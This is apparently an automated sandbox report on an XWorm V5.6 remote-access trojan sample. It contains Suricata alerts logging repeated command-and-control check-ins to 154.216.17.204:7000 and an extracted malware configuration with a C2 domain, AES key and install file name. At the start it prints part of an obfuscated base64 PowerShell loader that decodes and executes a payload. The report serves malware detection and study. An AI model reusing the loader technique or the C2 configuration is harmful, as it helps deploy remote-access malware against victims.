?GY?e?BF?E0?Ng?0?Cc?L??g?CQ?bQBp?Hg?ZgB1?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\mknrez.vbs');powershell $Yolopolhggobek;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv

Suricata Signatures

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T06:54:03.471158+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:54:09.881691+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:54:14.713493+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:54:25.965806+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:54:37.213828+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:54:39.883598+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:54:48.467890+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:54:59.846263+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:01.088545+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:03.228953+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:03.529550+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:05.338714+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:06.073363+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:08.402212+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:09.438691+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:09.881019+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:10.072804+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:10.704952+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:10.828045+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:10.947733+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:14.510686+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:21.385475+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:26.198011+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:26.510324+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:33.778789+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:36.791728+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:37.374941+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:37.566777+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:39.890249+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:42.308687+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:45.427654+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:47.447935+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:47.639671+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:52.713675+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:52.905649+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:55:54.533483+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:03.136479+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:03.479356+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:03.671139+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:04.309381+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:08.870153+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:09.882870+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:20.121092+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:21.479571+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:29.417645+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:29.551996+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:30.156827+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:35.292416+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:35.484283+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:35.608785+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:36.219641+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:39.881934+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:40.529457+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:41.110435+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:41.304032+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:49.542483+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:50.995079+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:51.214477+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:56:51.346169+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:01.558220+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:01.782275+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:03.295696+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:06.990245+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:07.182799+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:09.881495+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:17.651562+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:22.730114+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:22.860209+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:22.979999+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:24.402355+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:28.293555+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:28.542724+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:30.517097+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:33.324270+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:33.454222+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:33.574013+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:38.139859+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:39.339406+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:39.557833+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:39.886200+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:40.142817+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:41.365388+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:42.482473+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:43.135874+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:45.323880+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP
2024-11-23T06:57:59.624745+0100	2852870	1	Malware Command and Control Activity Detected	154.216.17.204	7000	192.168.2.12	49710	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T06:54:03.474545+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:54:14.716490+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:54:25.967795+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:54:37.218237+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:54:48.471685+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:54:59.848915+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:01.096934+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:03.230793+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:03.531094+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:05.340957+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:06.075356+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:08.404396+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:09.440575+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:10.074489+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:10.757798+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:10.877315+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:11.000965+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:11.295363+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:11.415016+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:14.512434+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:21.388869+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:26.209629+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:26.512091+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:33.805335+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:36.797459+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:37.377028+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:37.568342+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:42.310215+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:45.430696+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:47.449465+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:47.642580+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:52.804576+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:52.939724+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:55:54.534957+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:03.178768+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:03.485149+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:03.672705+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:04.311164+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:08.873537+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:20.123646+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:21.485160+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:29.421359+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:29.554557+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:30.158863+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:30.314471+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:30.474983+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:35.297259+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:35.489197+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:35.613186+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:36.221439+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:40.535041+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:41.112746+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:41.308753+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:49.549271+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:51.032890+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:51.221250+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:56:51.353250+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:01.565277+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:01.786907+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:03.333284+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:06.991663+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:07.185407+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:17.653294+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:22.788043+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:22.907684+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:23.027292+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:24.466554+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:28.295351+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:28.544467+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:30.518954+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:33.382137+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:33.503700+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:33.629353+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:33.753370+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:33.817501+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:38.149820+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:39.344067+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:39.561340+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:40.144013+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:41.371439+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:42.483359+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:43.136664+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:45.327380+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP
2024-11-23T06:57:59.625632+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.12	49710	154.216.17.204	7000	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Avira: detected

Found malware configuration

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Malware Configuration Extractor: Xworm {"C2 url": ["saviloe24.duckdns.org", "154.216.17.204"], "Port": 7000, "Aes key": "111qqq", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Multi AV Scanner detection for submitted file

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

ReversingLabs: Detection: 84%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for sample

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	String decryptor: saviloe24.duckdns.org,154.216.17.204
Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	String decryptor: 7000
Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	String decryptor: 111qqq
Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	String decryptor: <Xwormmm>
Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	String decryptor: XWorm V5.6
Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	String decryptor: USB.exe

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.12:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.12:49712 version: TLS 1.2

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: embly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000009.00000002.3002197915.0000022AEA96C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb source: powershell.exe, 00000009.00000002.3002197915.0000022AEA9CD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbd source: powershell.exe, 00000008.00000002.3145322082.000002646DCBE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000008.00000002.3145322082.000002646DCBE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb089 source: powershell.exe, 00000010.00000002.2788067216.0000022039829000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbK source: powershell.exe, 00000008.00000002.3145322082.000002646DC8B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *.pdbQoS Packet Scheduler-0000 source: powershell.exe, 00000010.00000002.2788067216.000002203987F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000008.00000002.3145322082.000002646DC8B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb2 source: powershell.exe, 00000008.00000002.3145322082.000002646DCB5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbG source: powershell.exe, 00000010.00000002.2788067216.0000022039820000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: b.pdb source: powershell.exe, 00000009.00000002.2997305257.0000022AEA68B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdb source: powershell.exe, 00000010.00000002.2788067216.0000022039829000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb source: powershell.exe, 00000009.00000002.2994896161.0000022AEA630000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbn source: powershell.exe, 00000010.00000002.2788067216.00000220398BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbelse source: powershell.exe, 00000008.00000002.3145322082.000002646DCB5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: scorlib.pdbO$F e source: powershell.exe, 00000009.00000002.2997305257.0000022AEA68B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb1-F424491E3931}\InprocServer32 source: powershell.exe, 00000010.00000002.2788067216.000002203987F000.00000004.00000020.00020000.00000000.sdmp
